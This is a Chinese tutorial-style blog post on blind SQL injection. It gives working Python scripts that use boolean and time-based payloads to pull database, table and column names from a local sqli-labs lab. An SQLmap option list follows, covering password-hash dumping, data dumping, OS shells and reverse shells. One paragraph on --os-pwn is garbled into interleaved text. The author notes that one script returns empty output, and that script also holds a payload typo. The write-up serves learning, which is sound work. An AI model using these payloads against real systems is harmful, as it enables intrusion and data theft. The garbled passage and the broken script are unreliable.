SQL布尔盲注+时间盲注

1.布尔盲注

        双重for循环

import requests

url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'


def database_name():
    datebasename = ''
    for i in range(1, 9):  # 假设数据库名称最多8个字符
        for j in range(32, 128):  # ascii 可见字符范围从32到127
            payload = f"?id=1' AND ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {j}-- "
            res = requests.get(url + payload)

            if res.status_code == 200:  # 确保请求成功
                if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
                    datebasename += chr(j)
                    print(f"正在构建数据库名称: {datebasename}")
                    break  # 找到当前字符后跳出内层循环,继续下一个字符的查找

    print(f"数据库名称是: {datebasename}")


# 调用函数
database_name()

 

 二分查找

import requests

url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'


#mysql中的substr(string,start,dugt)三个参数分别是被截取的字符串,起始位置,截取长度
def database_name():
    datebasename = ''
    for i in range(1, 9):  # 假设数据库名称最多8个字符
        start = 32
        end = 128
        while start <= end: #起始端等于终止端时命中
            middle = (start + end) // 2
            payload = f"?id=1' and ascii(substr(database(), {i}, 1)) > {middle}-- "
            res = requests.get(url + payload)

            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
                    start = middle + 1 # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1 # 小于的情况证明目标字符在前半段
        if start > end:
            datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
            print(f"数据库名称是: {datebasename}")

database_name()

#mysql中的if(string,one,two)当string为真执行one,否则执行two
#在MySQL默认数据库information_schema的表tables中字段table_name存有表的名称,前面的table_schema字段是数据库对应名称
#mysql中limit 5,1,第一个表示从第几行开始,是开区间会从第6行开始,第二个参数表示返回的行数,如果只有一个参数,会默认从第一行返回对应行数
def table_name():
    tablename = ''
    for i in range(1,20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)) > {middle}-- "
            res = requests.get(url + payload)#通过调整limit的参数可以把数据库的所有表名拿到

            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
                    start = middle + 1  # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1  # 小于的情况证明目标字符在前半段
            if start > end:
                tablename = tablename + chr(start)  # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
                print(f"表名称是: {tablename}")
table_name()

#在MySQL默认数据库里information_schema的表columns中字段column_name存有字段名称,前面的table_name字段是对应的表名
def column_name():
    columnname = ''
    for i in range(1,20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle}-- "
            res = requests.get(url + payload)

            if res.status_code == 200:
                if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
                    start = middle + 1  # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1  # 小于的情况证明目标字符在前半段
            if start > end:
                columnname += chr(start)
                print(f"字段名是:{columnname}")
column_name()

 2.时间盲注

        二分查找

import time

import requests

url = 'http://127.0.0.1/sqli-labs-master/Less-9/index.php'

#mysql中if函数有三个参数,第一个是子表达式,第二个是子表达式为真时返回的结果,第三个是为假返回的结果
def database_name():
    datebasename = ''
    for i in range(1, 9):  # 假设数据库名称最多8个字符
        start = 32
        end = 128
        while start <= end: #起始端等于终止端时命中
            middle = (start + end) // 2
            payload = f"?id=1' and if(ascii(substr(database(),{i},1)) > {middle},sleep(2),1)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()

            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if (end_time - start_time) >= 2:  # 这个时间差证明满足条件
                    start = middle + 1 # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1 # 小于的情况证明目标字符在前半段
        if start > end:
            datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
            print(f"数据库名称是: {datebasename}")

database_name()

def table_name():
    tablename = ''
    for i in range(1, 20):
        start = 32
        end = 126
        while start <= end:
            middle = (start + end) // 2
            payload = f"?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1) > {middle},sleep(2),1)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()

            if res.status_code == 200:
                if (end_time - start_time) >= 2:
                    start = middle + 1
                else:
                    end = middle - 1
        if start > end:
            if middle == 0:
                break
            tablename += chr(start)
            print(f"表名称是: {tablename}")

table_name()

def column_name():
    columnname = ''
    for i in range(1, 20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},sleep(2),1)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()

            if res.status_code == 200:
                if (end_time - start_time) >= 2:
                    start = middle + 1
                else:
                    end = middle - 1
        if start > end:
            if middle == 0:
                break
            columnname += chr(start)
            print(f"字段名是: {columnname}")

column_name()

 

这里的表名反复看了,没有发现问题在哪里,就是为空,无论我怎么该limit的范围,通过navigat查看数据库,不应该是这样的,等解决了会修改文章 

3.SQLmap

  • 通用参数
    • -h,显示帮助情况
    • -hh,显示高级帮助信息
    • --version,显示版本信息
    • -v verbose,设置输出的详细程度,范围为0,6,默认为1,越高越多
  • 目标参数
    • -u URL,指定目标URL,如果使用Linux测试Windows靶场,地址为192.168.X.1,不要用127.0.0.1
    • -g :处理Google Dork 结果作为目标URL
      • Google Dork 是什么?
        • 就是Google搜索的语法,在信息收集案例.md里有
  • 请求参数
    • --data=data:通过POST请求发送的数据字符串,例如"id=1"
    • --cookie=COOKIE:设置http请求头中的cookie
    • --random-agent:随机选择一个http user-agent头部来伪装请求。
    • --proxy=proxy:使用代理服务器连接目标URL,代理格式为http://ip:port
    • --tor:通过tor网络匿名连接

Tor(The Onion Router)是一种用于实现匿名通信的自由软件,由美国非盈利组织The Tor Project, Inc开发与维护

Tor的名称来源于“洋葱路由”(The Onion Router)的缩写,其核心技术是通过多层加密和多跳代理来保护用户的隐私和匿名性

  • --check-tor:检查是否正确使用tor网络
  • 注入参数
    • -p :指定要测试的参数,可以是一个或多个。例如:-p id,会测试id参数
    • --dbms=DBMS:强制设置后台数据库管理系统,例如MySQL或PostgreSQL
  • 检测参数
    • --level=level:设置测试的级别,默认是1,范围1~5,越大越强
    • --risk=risk:设置风险等级,范围1~3,默认值1,越大风险越高
  • 技术参数
    • --technique=THCH:指定使用的SQL注入技术,默认是"BEUSTQ",B是布尔盲注,E报错注入,U是联合查询
  • 枚举参数
    • -a,检索所有信息
    • -b,获取数据库横幅信息
    • --current-user:获取当前的DBMS用户信息
    • --current-db:获取当前的DBMS数据库名称
    • --passwords:枚举DBMS用户的密码哈希
    • --dbs:枚举DBMS中的所有数据库
    • --tables:枚举数据库中的所有表
    • --columns:枚举表中的字段
    • --schema:枚举DBMS的所有模式
    • --dump:转储(导出)数据库中的数据
    • --dump-all:导出所有数据库数据
    • -D:指定数据库
    • -T:指定表
    • -C:指定列
  • 操作系统访问参数
    • --os-shell:打开一个交互式操作系统shell,这就是into outfile,需要三条件
    • --os-pwn:获取反向shell或者连接

--os---poswn-pwn 参数在 参数 是sql sqlmapmap 提 中供是的一一个种强功能大的,用功能于,它通过允许 SQL攻击 注者入通过漏洞 SQL获取 注目标入系统漏洞的在操作目标系统数据库权限所在。的它服务器利用上数据库执行管理操作系统系统(命DBMS令)的漏洞执行恶,意甚至命获得令,反向通常 shell通过(数据库例如的:扩通过展 Net功能cat( 或如 Meter preterxp _cmdshell连接到 或攻击其他者系统的存机器储)。过程这一)攻击来方式触不发需要命目标令用户执行点击,从链接而,而是建立通过一个数据库反权限向、 shell。配置攻击或漏洞者执行可以恶通过意该命反令向。

  • 通用参数
    • --batch:自动使用默认行为,不需要输入
    • --flush-session:清空当前连接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/970580.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

收银系统源码开发指南:PHP + Flutter + Uniapp 全栈方案

收银系统一般涵盖了收银POS端、线上商城端和管理端&#xff0c;技术栈涉及PHP、Flutter和Uniapp。为了确保系统的稳定运行和持续发展&#xff0c;在开发和运营过程中需要重点关注以下几个方面&#xff1a; 一、系统架构与性能优化 模块化设计: 将系统拆分为独立的模块&#xf…

springCloud-2021.0.9 之 GateWay 示例

文章目录 前言springCloud-2021.0.9 之 GateWay 示例1. GateWay 官网2. GateWay 三个关键名称3. GateWay 工作原理的高级概述4. 示例4.1. POM4.2. 启动类4.3. 过滤器4.4. 配置 5. 启动/测试 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收…

Vue.js 在低代码开发平台中的应用与优化

Vue.js 在低代码开发平台中的应用与优化 在数字化转型的进程中&#xff0c;低代码开发平台成为了企业快速构建应用的得力助手。而 Vue.js 作为一款广受欢迎的前端框架&#xff0c;在低代码开发平台中发挥着举足轻重的作用。它不仅提升了开发效率&#xff0c;还优化了应用的用户…

大模型Deepseek的使用_基于阿里云百炼和Chatbox

目录 前言1. 云服务商2. ChatBox参考 前言 上篇博文中探索了&#xff08;本地&#xff09;部署大语言模型&#xff0c;适合微调、数据高隐私性等场景。随着Deepseek-R1的发布&#xff0c;大语言模型的可及性得到极大提升&#xff0c;应用场景不断增加&#xff0c;对高可用的方…

Android设备 网络安全检测

八、网络与安全机制 6.1 网络框架对比 volley&#xff1a; 功能 基于HttpUrlConnection;封装了UIL图片加载框架&#xff0c;支持图片加载;网络请求的排序、优先级处理缓存;多级别取消请求;Activity和生命周期的联动&#xff08;Activity结束生命周期同时取消所有网络请求 …

[免费]SpringBoot公益众筹爱心捐赠系统【论文+源码+SQL脚本】

大家好&#xff0c;我是老师&#xff0c;看到一个不错的SpringBoot公益众筹爱心捐赠系统&#xff0c;分享下哈。 项目介绍 公益捐助平台的发展背景可以追溯到几十年前&#xff0c;当时人们已经开始通过各种渠道进行公益捐助。随着互联网的普及&#xff0c;本文旨在探讨公益事业…

zyNo.23

SQL注入漏洞 1.SQL语句基础知识 一个数据库由多个表空间组成&#xff0c;sql注入关系到关系型数据库&#xff0c;常见的关系型数据库有MySQL,Postgres,SQLServer,Oracle等 以Mysql为例&#xff0c;输入 mysql-u用户名-p密码 即可登录到MySQL交互式命令行界面。 既然是…

基于大数据的北京市天气数据分析系统的设计与实现

【Flask】基于Flask的北京市天气数据分析系统的设计与实现&#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 该系统采用Python和Flask框架&#xff0c;结合Pandas、NumPy等数据处理库及Echarts进…

【linux】在 Linux 上部署 DeepSeek-r1:32/70b:解决下载中断问题

【linux】在 Linux 上部署 DeepSeek-r1:32/70b:解决下载中断问题 【承接商业广告,如需商业合作请+v17740568442】 文章目录 【linux】在 Linux 上部署 DeepSeek-r1:32/70b:解决下载中断问题问题描述:解决方法方法一:手动中断并重启下载方法二:使用 Bash 脚本自动化下载在…

深入解析操作系统控制台:阿里云Alibaba Cloud Linux(Alinux)的运维利器

作为一位个人开发者兼产品经理&#xff0c;我的工作日常紧密围绕着云资源的运维和管理。在这个过程中&#xff0c;操作系统扮演了至关重要的角色&#xff0c;而操作系统控制台则成为了我们进行系统管理的得力助手。本文将详细介绍阿里云的Alibaba Cloud Linux操作系统控制台的功…

一场因软件技术窃取引发的法律风暴

根据最高人民法院(2020)最高法知民终1101号真实案例改编 第一章&#xff1a;创新的种子 2004年&#xff0c;北京明远软件设计研究院&#xff08;后更名为“明远软件股份有限公司”&#xff0c;以下简称“明远”&#xff09;的办公室里&#xff0c;创始人杨原和技术总监何晨亮…

Python的那些事第二十二篇:基于 Python 的 Django 框架在 Web 开发中的应用研究

基于 Python 的 Django 框架在 Web 开发中的应用研究 摘要 Django 是一个基于 Python 的高级 Web 框架,以其开发效率高、安全性和可扩展性强等特点被广泛应用于现代 Web 开发。本文首先介绍了 Django 的基本架构和核心特性,然后通过一个实际的 Web 开发项目案例,展示了 Dj…

STM32之SG90舵机控制

目录 前言&#xff1a; 一、硬件准备与接线 1.1 硬件清单 1.2 接线 二、 SG90舵机简介 1.1 外观 1.2 基本参数 1.3 引脚说明 1.4 控制原理 1.5 特点 1.6 常见问题 三、 单片机简介 四、 程序设计 4.1 定时器配置 4.2 角度控制函数 4.3 主函数调用 五、 总结 …

【动态规划篇】:当回文串遇上动态规划--如何用二维DP“折叠”字符串?

✨感谢您阅读本篇文章&#xff0c;文章内容是个人学习笔记的整理&#xff0c;如果哪里有误的话还请您指正噢✨ ✨ 个人主页&#xff1a;余辉zmh–CSDN博客 ✨ 文章所属专栏&#xff1a;动态规划篇–CSDN博客 文章目录 一.回文串类DP核心思想&#xff08;判断所有子串是否是回文…

DeepSeek正重构具身大模型和人形机器人赛道!

中国人工智能公司DeepSeek&#xff08;深度求索&#xff09;以“低成本、高效率、强开放”的研发范式横空出世&#xff0c;火遍并震撼全球科技圈&#xff1b;DeepSeek展现出来的核心竞争力&#xff0c;除了低成本及推理能力&#xff0c;更重要的是开源模型能力追赶上了最新的闭…

网络工程师 (39)常见广域网技术

一、HDLC 前言 HDLC&#xff08;High-level Data Link Control&#xff0c;高级数据链路控制&#xff09;是一种面向比特的链路层协议。 &#xff08;一&#xff09;定义与历史背景 HDLC是由国际电信联盟&#xff08;ITU&#xff09;标准化的&#xff0c;它基于IBM公司早期的同…

制作Ubuntu根文件

系列文章目录 Linux内核学习 Linux 知识&#xff08;1&#xff09; Linux 知识&#xff08;2&#xff09; WSL Ubuntu QEMU 虚拟机 Linux 调试视频 PCIe 与 USB 的补充知识 vscode 使用说明 树莓派 4B 指南 设备驱动畅想 Linux内核子系统 Linux 文件系统挂载 QEMU 通过网络实现…

SpringMVC详解

文章目录 1 什么是MVC 1.1 MVC设计思想1.2 Spring MVC 2 SpringMVC快速入门3 SpringMVC处理请求 3.1 请求分类及处理方式 3.1.1 静态请求3.1.2 动态请求 3.2 处理静态请求 3.2.1 处理html文件请求3.2.2 处理图片等请求 3.3 处理动态请求 3.3.1 注解说明3.3.2 示例 3.4 常见问题…

一个让Stable Diffusion更稳定、更易用的Github开源项目

2023除了ChatGPT大火&#xff0c;Stable Diffusion同样也是非常火热&#xff0c;Stable Diffusion是一个Github开源项目&#xff0c;很多爱好者都会本地安装&#xff0c;但面对一些初学者来说&#xff0c;在安装、配置和使用过程中还是会经常出现很多问题&#xff0c;特别不了解…

Deepseek R1模型本地化部署+API接口调用详细教程:释放AI生产力

文章目录 前言一、deepseek R1模型与chatGPT o1系列模型对比二、本地部署步骤1.安装ollama2部署DeepSeek R1模型删除已存在模型&#xff0c;以7b模型为例 三、DeepSeek API接口调用Cline配置 前言 随着最近人工智能 DeepSeek 的爆火&#xff0c;越来越多的技术大佬们开始关注如…